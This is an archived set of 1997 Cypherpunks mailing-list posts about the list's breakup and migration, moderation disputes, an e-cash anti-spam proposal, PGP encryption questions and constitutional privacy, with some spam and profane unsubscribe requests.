From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 19:38:51 -0800 (PST)
To: Alec <ichudov@algebra.com
Subject: Re: alt.cypherpunks.ebonics
Message-ID: <199702190338.TAA12907@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:16 AM 2/18/97 -0500, Alec wrote:

>A friend, who, in the CP tradition requested to remain anonymous, and I were
>doing an informal analysis of those subjects/topics which over the past year
>generated the most discussion and, by implication, interest on the CP list.
>Since the list at that time was reportedly unmoderated, we felt some weight
>should be given to members' interests/desires as measured by their posts,
>regardless of the applicability to the list topic.
>
>With the exceptions of AP (oh so clearly way off-topic),


Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
as I've sketched it uses many of the 
encryption/digital-signature/verification techniques which are often 
discussed here and are essentially universally agreed as being on-topic.  
Secondly, the _PROSPECT_ of AP (or, if you'd like, more generally, the whole 
field of cryptoanarchy, which disables the State by making it unnecessary 
and powerless) would be and probably is most of the motivation for the 
various "let's control encryption" proposals that the US government and 
others have pushed over the last few years.

On the other hand, it is equally clear that while AP is "on-topic," 
nevertheless it is quite distinctly distasteful to a few people around here 
who seem to believe that the _political_ and _technical" implications of 
good encryption can be kept safely separated.  It is obvious that you are 
one of those people.  It is equally obvious that you are not honest enough 
to admit that.  So rather than say merely "I don't like it" you try to 
embellish your claims with "oh so clearly way off-topic."



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John W. Noerenberg" <jwn2@qualcomm.com>
Date: Tue, 18 Feb 1997 20:35:39 -0800 (PST)
To: Vin McLellan <vin@shore.net>
Subject: Re: Good Bye Cypherpunks!
In-Reply-To: <199702142343.PAA17502@toad.com>
Message-ID: <v03101714af3027e7e86f@[129.46.166.223]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:07 PM -0500 2/14/97, Vin McLellan wrote:
>
>        So now we ourselves burn the village in order to save it.
>
>        <nostalgic sigh>
>
>        How American!
>

Vin, your words are poignant and heartfelt.  To be honest, I share your
feelings (but I can't help but be amused that having recently decided to
resubscribe after a lengthy absence, I returned just in time to wallow into
a sea of discontent -- sorta like walking out the door of the cabin and all
the snow on the roof falling on your head -- you're cold, you're wet, and
you feel pretty damn stupid to boot).

However, the denizens of this place are a resourceful lot.  If
alt.cypherpunks doesn't work out, if the distributed mailing lists don't
work, we'll try something else.  I don't think anyone is ready to give up,
yet.

best,

john noerenberg
jwn2@qualcomm.com
  --------------------------------------------------------------------
  Ishmael gave himself to the writing of it, and as he did so he
  understood this, too: that accident ruled every corner of the
  universe except the chambers of the human heart.
  -- David Guterson, Snow Falling on Cedars, 1995
  --------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Nadra" <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 10:43:01 -0800 (PST)
To: <Cypherpunks@toad.com>
Subject: Stop sending me your shit
Message-ID: <19970218164347.AAA20169@kodakne.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain


	
Get me off your list or else ..... . Get me out your fuckin list assholes.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Nadra" <robertn@dm.net.lb>
Date: Tue, 18 Feb 1997 10:46:28 -0800 (PST)
To: <Cypherpunks@toad.com>
Subject: Stop sending me your shit
Message-ID: <19970218164804.AAA20314@kodakne.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain


Get me off your list or else ..... . Get me out your fuckin list assholes.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Tue, 18 Feb 1997 11:52:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: article on "Wired News"
Message-ID: <199702181952.UAA03309@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

"http://www.wired.com/news/" -- headline: " Monday
	Homeless Cypherpunks Turn to Usenet 
	      The 1,400-strong group splinters into three alt.
		    subgroups and a mailing list - but they have
			  plans for staying united. "


"STAYING united"?  Ha ha ha ha!


That's funny!


Keep in touch, y'all.  :-)


Bryce

PGP sig follows




-----BEGIN PGP SIGNATURE-----
Version: 2.6.2i
Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:02:37 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: alt.cypherpunks.ebonics
In-Reply-To: <3.0.1.32.19970218111658.006c4174@smtp1.abraxis.com>
Message-ID: <330A8A51.1B33@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Alec wrote:
> A friend, who, in the CP tradition requested to remain anonymous, and I were
> doing an informal analysis of those subjects/topics which over the past year
> generated the most discussion and, by implication, interest on the CP list.
> Since the list at that time was reportedly unmoderated, we felt some weight
> should be given to members' interests/desires as measured by their posts,
> regardless of the applicability to the list topic.
> With the exceptions of AP (oh so clearly way off-topic), list censorship (too
> tedious),  and remarks either questioning or affirming the
> sexuality/virility/femininity (or lack thereof ) of almost every CP
> subscriber, the topic which claimed the most bandwidth was Ebonics.
> You name it; just about every well-known c'punk jumped in to make some
> urbane statement on this, sadly, now dead and  ignored issue.
> Nevertheless, the bandwidth was there!

What does it mean "now dead and ignored"?  Today, the L.A. Times had
more major coverage of the issue and how the L.A. school board is
pushing ahead on Ebonics.  There were several examples of books given
in the article which used Ebonics (more-or-less) the their choice of
linquistic style.  I'd say it's just getting off the ground.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 18 Feb 1997 21:38:09 -0800 (PST)
To: "Timothy C. May" <ichudov@algebra.com
Subject: Re: Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702190537.VAA29617@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:06 AM 2/15/97 -0800, Timothy C. May wrote:
>At 10:19 AM -0600 2/15/97, Roy M. Silvernail wrote:
>
>>I much prefer the plan where a potential mail correspondant includes an
>>e-cash dollar directly cashable by me.  If I like the mail (and the
>>sender), I throw the dollar away and the sender goes on the approved
>>list.  If not, I keep the dollar, and the sender goes on the twit list.
>>Paper junk mail costs an advertiser more than $1 per piece, so they'd
>>still be getting a bargain.  And potentially, some receivers may throw
>>away the dollar and welcome the spam.
>
>The basic flaw in all of these schemes is that they are "top-down"
>solutions, imposed on the market for invented reasons.

There we must disagree.  Not that "top-down" imposed solutions won't 
generally work, I agree with that.  Rather, I suggest that there are valid 
and logical market-driven reasons that people, both buyers and sellers, 
would want to adopt the system I've proposed.

The benefits for the recipient of the payment-containing spam/advertising 
are obvious. He gets money.   Admittedly it is less obvious why a seller 
would want to pay for what he seemed to previously got for free, but that's 
more-or-less the case.   More in a moment.

[snip]

>However, just "making up" a fee--as Roy does here, and as Jim Bell and
>others have done before--is not a solution either. Nor does it stand any
>chance of being "enforced" (for a large number of reasons I won't get into
>here).
>--Tim May

Yes, the charge will be "enforced"...by the market!  Here's how.  "Spam" in 
other media is termed "advertising" or "junk mail."  And advertisers pay 
good money for it, precisely because that it will drum up enough business to 
not only pay for the ad rates, but also make some profit as well.  They're 
apparently correct, because those companies stay in business for years or 
decades.   Now, you'd probably imagine that businessmen would like to see 
the cost of their advertising drop.  Superficially, you'd be right, but in 
reality if the cost of advertising on TV or radio or newspapers is an 
essential element of the system. 

To understand why, imagine that the price of such advertising dropped by a 
factor of 100.  Suddenly, anybody doing ads could do ten times as many, for 
a tenth the total cost, or any such similar ratio.  Or thousands of 
companies whose products didn't previously profit enough for such ads would 
now be able to do them, as well.  The airwaves would be flooded. There 
wouldn't be enough time for entertainment, or news, or much of anything 
other than ads.  Worse, since total advertising revenue would probably be 
down by at least a factor of 25, even assuming "only" a 4x increase in ad 
volume, there would be far less money available for producing good shows.  
With fewer, worse shows, and many more ads, the average viewers would stay 
away in droves.   Pretty soon, the VALUE of that advertising to the 
advertiser would drop...to 1/100 of what it was before.

The newspapers would, likewise, be flooded with ads.  Even local newspapers 
would look like the Sunday New York Times.  And the current newspaper reader 
might as well stay away, because it would be a rare page that actually 
contained an article, and was not filled with ads.

Junk mail, if the TOTAL cost (paper, printing, labelling, mailing, etc) 
dropped by a factor of 100, our mailboxes would be filled with paper three 
times a day, maybe more often.

Well, actually this is not true.  There are other effects which would limit 
this progression.  For example, as ad space went up, people would watch/read 
less, so advertisers won't be motived to place ads even if they are free.  
If junk mail was free, nobody would have the time to read most of it, and it 
would go into the trash even faster than it does today.  In effect, if 
nothing else limited this advertising, our patience (or lack of it) would do 
so.  The _value_ of that advertising would drop to zero, along with its 
cost.  The end result, I argue, would be occasional low-value, sporadic 
advertising that "nobody" reads and everybody hates.

Sound familiar?  On the Internet, it's called, "spam."

Classic Internet-type spam is, essentially, a "zero-cost" ad.  Not _exactly_ 
zero cost, but pretty close, at least in terms of bare cash outlay.  What 
limits Internet-spam is that if it's overdone (or, some would argue, done at 
all!) an advertiser ends up pissing off the reader, making him even less 
likely to purchase the goods or services the spammer/advertiser was 
offering.   At that point, in effect the cost of that advertising is 
"infinite," because the outlay of zero money caused a _reduction_ in sales.  

An advertiser can't force a customer to buy, and he knows it.  But what he 
wants is the customer's time and attention, even if there's no guarantee of 
a sale.  Really, what he wants is to buy the attention of a potential 
customer, maybe only few a few seconds or a minute or so.  That's what 
advertising does.  But like an ad in a newspaper or a commercial on TV 
(which the target customer can ignore, mute, or walk away from) there is no 
guarantee of contact.  

So how, you'll ask, can the "free money with spam" deal be "enforced"?  
Well, it can't, if your definition of "enforced" includes merely the idea of 
some higher legal authority like a government or a trade organization or 
something.  But if you include the idea of the participants in the market, 
themselves, "enforcing" such a payment, it can.

Let's suppose, for simplicity's sake, that we are considering two types of 
advertisers.  One has a product that few people want.  Not NONE, just few.  
It's either poor quality, or too expensive (compared to its perceived 
value), or just not particularly interesting to the majority of the public.  
The other has a product that far more people want.  It's good, or is seen to 
be inexpensive, or is interesting.    Now, the former advertiser must put 
out far more ads to make a given buck than the latter.   The latter 
advertiser wants and needs the attention of any given potential customer 
more than the former, because the latter is far more likely to satisfy the 
customer's curiosity and desires and  be able to do business with him.  

In short, the purveyor of products that more people want (products which are 
more likely to interest the average potential advertisement reader...) can 
AFFORD to pay a larger amount of money to a given ad-recipient than can the 
other advertiser, the seller of junk.  Logic suggests that in the 
competition for "share of mind," the good-product seller would choose to 
give a larger amount of money to any given ad-recipient, in order to attract 
his attention and distinguish him from the other guy, if nothing else.  
After all, that's the one thing HE CAN DO that the other guy, statistically, 
cannot.  He can say, in effect, "My ad is more important and intersting to 
look at, and I can prove it by paying you more!"  He is also saying that he 
values you, as a customer, more than the guy who can only pay less.

Moreover, if I were a potential ad-reader, faced with the prospect of 
reading "N" ads where "N" is a larger number than I really want to see, 
presumably I would like to be able to pre-separate the ads into two groups, 
the ones I'm more likely to want to read and the other pile.  Even if I were 
to totally ignore the fact that I'm more enriched by ads which contain a 
larger payment (for example if that payment were to go (hypothetically) to a 
charity of my choice) I should STILL recognize that it is more likely that 
an interesting, useful ad would be able to afford a larger payment to 
potential recipients.  Therefore, logic suggests that absent any other 
guide, I should spend my limited time reading preferentially reading the ads 
where the advertiser was willing (and able) to make a larger payment.

Were a mail-reader program equipped with the ability to collect such 
payments and change the ranking of ads, it seems logical to believe that one 
of the most frequently-chosen options would be one which presented the 
highest-paying ads FIRST, then the others in decending order of value.

There are multiple levels of self-interest at work here, reinforcing 
themselves.  First, in the short term, advertisers who pay more make you, 
the customer, richer.  But more importantly, if the customer preferentially 
reads high-payment ads, over the medium-term  the advertisers will tend to 
get the idea and will raise their payments to whatever they feel they must 
to get your attention.  Further, in the long term giving more business to 
advertisers who pay customers more will tend to strengthen those 
advertisers, leading to their dominance in the industry.

In short, like Darwin's natural-selection concept, the idea of including 
payments with unsolicited ads will simply take over.  In fact, at some point 
the concept of sending unsolicited product or service advertising (at least 
on the Internet) WITHOUT including a gratuity will become as gauche as 
exiting a restaurant without leaving a tip.   At that point, the behavior of 
millions of potential customers will, in effort, ENFORCE the practice, 
because the vast majority of the public will simply ignore advertising by 
rude, un-generous people.







Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: PIONEER146@aol.com
Date: Tue, 18 Feb 1997 20:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
Message-ID: <970218225859_-1574979273@emout14.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Please remove from the mailing list, please.  Thank you.  Pioneer146@aol.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 18 Feb 1997 21:07:03 -0800 (PST)
To: mehling@ibm.net (Michael Ehling)
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from
In-Reply-To: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net>
Message-ID: <199702190502.XAA26565@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Michael Ehling wrote:
> 
> At 10:31 AM 2/14/97 -0800, you wrote:
> <snip>
> >
> >Having been "on" the net for over 15 years -- and with experience
> >in both ends of the censorship/moderation problem  (I'm probably
> >the only Cypherpunks member to have had a book "banned in Boston"),
> >I'm sorry that a handful of sociopaths managed to destroy this
> >experiment in anarchy, but I suspect that this was inevitable.

The experiment in anarchy continues full speed.

Cypherpunks is not dead, although it will take the newly created
online communities to pick up steam. Cypherpunks mailing list simply
expanded and took another form.

Again, thanks to John Gilmore for running this list for years. His
job required a lot of dedication and effort and I am thankful to him
for what he did for it. cypherpunks@toad.com enhanced my understanding
of reality immensely.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Feb 1997 23:27:08 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Raph
In-Reply-To: <199702181541.HAA06032@toad.com>
Message-ID: <3.0.1.32.19970218230632.005c42c0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:22 AM 2/18/97 -0500, Alec wrote:
>I have found it convenient to retrieve Raph's list off c'punks, as opposed to
>fingering. I do hope this service to the community will continue on one forum
>or another.

You can of course also get it from the web page listed in the listing...

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 18 Feb 1997 23:27:09 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Cypherpunks Mailing List (Was: Re: When and where?)
In-Reply-To: <199702170211.SAA12998@toad.com>
Message-ID: <3.0.1.32.19970218232401.04735f88@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Please post the date when this list will shift to Usenet if that is indeed to
>happen. I have not been able to sort out the facts (?) from the speculation,
>argument, and gas.

There are a variety of approaches being pursued in parallel.
You can subscribe to cypherpunks@Cyberpass.net by sending
mail to majordomo@Cyberpass.net with the usual syntax (send it a 
message body of "help" if you want details.)  It should gateway to
the other mail servers as they develop.  It's currently getting 
everything from cypherpunks@toad.com, which I've no unsubscribed to
to avoid getting duplicate copies of everything.

If you're one of those people getting one or more copies of the
cypherpunks mailing list and you don't want to, find out where your
mail is coming from and send mail to majordomo there....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 19 Feb 1997 00:42:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PGP key compromise with multiple independent encryptions of same message?
In-Reply-To: <3307FA3F.7B0B@coe.woodbine.md.us>
Message-ID: <3.0.1.32.19970218233359.04736c50@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:27 AM 2/17/97 -0500, David Coe wrote:
>If I were to PGP-encrypt the same exact message to a number of
>different people, each copy with that person's public key, would
>I be making it easy (or easier) for one (or a group) of those
>recipients to compromise another recipient's private key?

If you're doing it as N separate messages, you're using 
N separate IDEA session keys; IDEA's strong enough that's no risk,
especially since they'll be using separate Initialization Vectors.
If you use the multiple-recipient capability, which uses one copy
of the message encrypted with one session key, and separate headers with
the session key encrypted with each public key.  If PGP didn't take 
precautions to prevent it, there are attacks on RSA which can be used
when you encrypt the same message with different RSA keys.  However,
PGP pads the session key with different random padding for each
session-key-encrypted-with-public-key header, so they're different messages,
so there's no risk there either.

So don't keep worrying about it; use whichever is more convenient.
(But it was worth worrying about once. :-)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Ehling <mehling@ibm.net>
Date: Tue, 18 Feb 1997 20:39:19 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
In-Reply-To: <199702141459.GAA07338@toad.com>
Message-ID: <3.0.1.32.19970218233557.006dff20@pop01.ca.us.ibm.net>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM 2/14/97 -0800, you wrote:
<snip>
>
>Having been "on" the net for over 15 years -- and with experience
>in both ends of the censorship/moderation problem  (I'm probably
>the only Cypherpunks member to have had a book "banned in Boston"),
>I'm sorry that a handful of sociopaths managed to destroy this
>experiment in anarchy, but I suspect that this was inevitable.
>
>Martin Minow
>minow@apple.com
>

For the FWIW dept:
----------------------------------------------------------------------------
----------
Hmm...yes I agree.  Handful of sociopaths.  Inevitable?  Perhaps.  

On one hand anarchy, on the other control.  Free-wheeling vs. stifling.
Complete free speech vs. censorship.    

Oh, sure.  You can always say that one is more "right" than the other.  But
I believe everyone sees the validity of both sides...whether you agree with
them is another thing. So, we seem stuck between the two. And yet, they say
there is always a third option.  We just need some time to pull away and
see it.  

This "experiment in anarchy" may be coming to an end.  But I like your
choice of words: "experiment."  We've learned a great deal through this
one.  Perhaps next time we'll structure things differently.  Who knows?
Long after the last packet leaves cyhperpunks@toad.com, the spirit, the
ideas and ideals will remain.

Take good care,

Michael Ehling
mehling@ibm.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 18 Feb 1997 21:49:08 -0800 (PST)
To: Igor Chudov <ichudov@algebra.com>
Subject: John Who? / WAS--Re: [Declan McCullagh: "A List Goes Down In Flames," from
In-Reply-To: <199702190502.XAA26565@manifold.algebra.com>
Message-ID: <330AB037.472A@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Again, thanks to John Gilmore for running this list for years. His
> job required a lot of dedication and effort and I am thankful to him
> for what he did for it. cypherpunks@toad.com enhanced my understanding
> of reality immensely.

  I certainly hope that the lack of posts expressing gratitude to John
Gilmore for his maintenance of the CypherPunks list on toad.com for all
these years is merely because those who have benefitted from his efforts
are expressing their thanks via private email to him.
  Certainly, as Igor has indicated, he did not just sit on his butt
playing with Little Peter while 'the machine' ran itself and provided
the CypherPunks with a home for both rational discourse and mad
ramblings.
  There are quite a few people, ranging from long-term members to
passers-by who have had their horizons broadened by the list, and I
would hope that they are appreciative of the fact that the mechanics
of bits and bytes underlying the distribution of our grand soliloquys
came at the expense of a considerable portion of his own time and
energy.
  I know that I am.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 00:06:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Still no sign of alt.cypherpunks heirarchy at Netcom
Message-ID: <v02140b03af306580bbb8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I'm tapping my toes, druming my fingers and waiting...

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 00:09:28 -0800 (PST)
To: Martin Minow <minow@apple.com>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <v02140b02af30656eb77f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


Has anyone seen discussions on how these protection mechanisms can be
circumvented?

>http://techweb.cmp.com/eet/news/97/942news/encryp.html
>
>To summarize, the Digital Video Disk standard contains an encryption
>standard for copyright and anti-piracy protection. however, "some U.S.
>PC and silicon vendors have just about abandoned hope of keeping to
>their revised launch schedules for DVD-enabled systems."
[snip]
>A solution may be in the offing within days. Some sources said late last
>week that Matsushita [who owns license rights] and key U.S. computer
>companies may resolve the software-licensing issues by the end of this
>week. The PC industry seeks amendments to the licensing-agreement language
>that would result in equivalent treatment of software- and hardware-based
>CSS decryption.
>
>... there apparently has been some speculation among the U.S. PC community
>that Matsushita may be stonewalling on the software-licensing issue so that
>it can establish its hardware-based decryption solution in the marketplace.
>

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: remove@structuremg.com
Date: Tue, 18 Feb 1997 21:25:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: 7.9 cpm long-distance
Message-ID: <Ready Aim Fire!_2/19/97 12:25:48 AM_remove@structuremg.com>
MIME-Version: 1.0
Content-Type: text/plain



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**************************************************************
If you wish to be removed from our future mailings simply
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 18 Feb 1997 23:22:12 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <v03007807af2e6e5ab1e4@[207.167.93.63]>
Message-ID: <199702190741.BAA03633@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. may wrote:
> At 1:22 PM -0600 2/17/97, snow wrote:
> >	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> >can only, ONLY do what the constitution says it can.
> But why do you not object that the "right to free speech," "the right to
> keep and bear arms," and so on, are specifically enumeratedin the Bill of
> Rights? The privacy issue is that there is no such enumeration of a right
> to privacy in the Bill of Rights, though many think it to be implicit in
> some of the other enumerated rights, e.g,, the Fourth, and even in the
> First.

Amendment X-

(1791) The powers not delegated to the United States by the Constitution, nor 
prohibited by it to the states, are reserved to the states respectively, or to 
the people.

	As far as my reading goes, the Constitution (of which the BoR is a 
portion, IIR my "civics" (more like uncivics) classes properly) doesn't give 
the Feds the right to invade my privacy, and although not _explicit_, 

	Also:

Amendment IX

-(1791) The enumeration in the Constitution, of certain rights, shall not be 
construed to deny or disparage others retained by the people.
	
	Seems to indicate that even if it isn't listed, we should still 
have it. 

	Then:
Amendment IV-

(1791) The right of the people to be secure in their persons, houses, papers, 
and effects, against unreasonable searches and seizures, shall not be violated,
and no warrants shall issue, but upon probable cause, supported by oath or 
affirmation, and particularly describing the place to be searched, and the 
persons or things to be seized.

	Seems (to me, and IANAL) indicate that there is (at least in the minds
of the writers) a distinction between _public_ information which is fair game,
and public information, which is only fair game if there is enough public
information to justify crossing that line. 

> Constitutional issues are not easily discussed in short messages like this.
> Suffice it to say the issue of whether a "right to privacy" exists has been
> long discussed, most recently by Bork, Posner, and others (I skimmed the
> latest Posner book a while back, and liked his style).

	There is a big question in my mind whether things are so complicated 
that we need lawyers, or they are so complicated because we have lawyers. 

	It seems to me that the constitution is written rather simply, at least
prior to the 14th amendment. Congress Shall Make No Law... where is the 
confusion? 

	It is the fact that some people "know best" what is good for others,
and wish to enforce this "knowlege" upon the rest of us. 

	God save me from your over zelous followers.
> 
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution.
> 
> (And I always thought the "woman's right to privacy" argument for abortion
> was flaky. Accepting such an argument, wouldn't infanticide be equally
> protected by a woman's right to privacy?)

	Or a man's. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 18 Feb 1997 23:38:38 -0800 (PST)
To: jimbell@pacifier.com (jim bell)
Subject: Re: alt.cypherpunks.ebonics
In-Reply-To: <199702190426.UAA17296@toad.com>
Message-ID: <199702190757.BAA03739@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Bell wrote:
> At 11:16 AM 2/18/97 -0500, Alec wrote:
> >With the exceptions of AP (oh so clearly way off-topic),
> Quite to the contrary, AP is NOT "oh so clearly way off-topic."   First AP, 
> as I've sketched it uses many of the 
> encryption/digital-signature/verification techniques which are often 
> discussed here and are essentially universally agreed as being on-topic.  

	Uhhh.... Jim?

	I think that Alec and friend were tweaking Igor. Think Sarcasm.

	Then again I could be wrong. I was once. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 04:07:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <3.0.32.19691231160000.006a1e14@aa.net>
Message-ID: <v03020922af3099283a67@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:29 pm -0500 on 2/18/97, ! Drive wrote:


> A proposal and prototype of a different anonymity mechanism can be found at:
>   http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

And, of course, you can hear about the next generation from the same bunch,
on Monday morning at FC97:

    Unlinkable Serial Transactions
    Paul F. Syverson (Naval Research Laboratory, Washington, DC, USA),
    Stuart G. Stubblebine (AT&T Labs--Research, Murray Hill, NJ, USA),
    David M. Goldschlag (Naval Research Laboratory, Washington, DC, USA)

:-).

<http://www.offshore.com.ai/fc97/>


Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:11:05 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Cypherpunks FAQ
In-Reply-To: <199702190047.SAA22544@manifold.algebra.com>
Message-ID: <330B17E8.17D4@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Toto wrote:
> >   The primal instinct of those with interest in 'control' is centered
> > around the need for 'total' control. The history of dictators in
> > general has shown more than a few who have allowed the sheep to escape
> > from their pens while they were fixated on chasing down the few 'black
> > sheep' that had strayed from their control.
> >   The CypherPunks list is a prime example of this. John and Sandy became
> > so fixated on their attack on Dr. Vulis (and subsequent 'dissenters')
> > that they eventually lost control of the other sheep in the fold who
> > were willing to go along with a 'moderate' abrogation of their right
> > to free speech by the censoring of only the 'black' sheep.

> Take no offense, but why nobody thought about an obviously more likely
> conclusion: that it is Dr. Vulis who was, say, hired by Detweiler to
> destroy cypherpunks. I personally find the above unlikely, but at least
> more likely than all other suggestions (which I think are an example
> of the delusion of grandeur).

Remember the movie Die Hard (#1)?  Remember what the wife said about
how her husband would drive people stark, raving mad?  I humbly
suggest by analogy that it was me, since that is my effect on a lot
of people, particularly (and especially) the John and Sandy types.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 19 Feb 1997 07:23:56 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702190741.BAA03633@smoke.suba.com>
Message-ID: <330B1AC7.9D2@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> Mr. may wrote:
> > At 1:22 PM -0600 2/17/97, snow wrote:
> Amendment IV-
> (1791) The right of the people to be secure in their persons, houses, papers,
> and effects, against unreasonable searches and seizures, shall not be violated,
> and no warrants shall issue, but upon probable cause, supported by oath or
> affirmation, and particularly describing the place to be searched, and the
> persons or things to be seized.
> It seems to me that the constitution is written rather simply, at least
> prior to the 14th amendment. Congress Shall Make No Law... where is the
> confusion?

Simple, but....  In a right to jury trial of peers, are the peers
the peers of the defendant or the peers of the victim?  Both the
Rodney King officers and the O.J. cases were perfect examples of
how, when you switch the peer groups, you reverse the decisions.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 20 Feb 1997 00:24:07 -0800 (PST)
To: Scott Auge <scotta@sauge.com>
Subject: Re: Cryptanalysis
In-Reply-To: <199702151726.JAA27016@toad.com>
Message-ID: <3.0.1.32.19970219081646.00628560@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:21 AM 2/15/97 -0500, you wrote:
>Was wondering if anyone could help me with short explainations on the
>cryptanalysis of SKIPJACK and DES.  If ya hit www.sauge.com/crypt you
>might get a better idea of what i'm trying to accomplish.
>
>Vague explanations are OK.  Dont want long drawn out explainations on
>the implementation of an attack (source code, proofs, statistical
